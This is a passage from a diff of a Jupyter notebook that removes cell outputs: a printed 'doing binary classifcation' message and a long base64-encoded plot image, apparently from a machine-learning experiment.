"stdout", - "output_type": "stream", - "text": [ - "doing binary classifcation...\n", - "doing binary classifcation...\n" - ] - }, - { - "data": { - "image/png": "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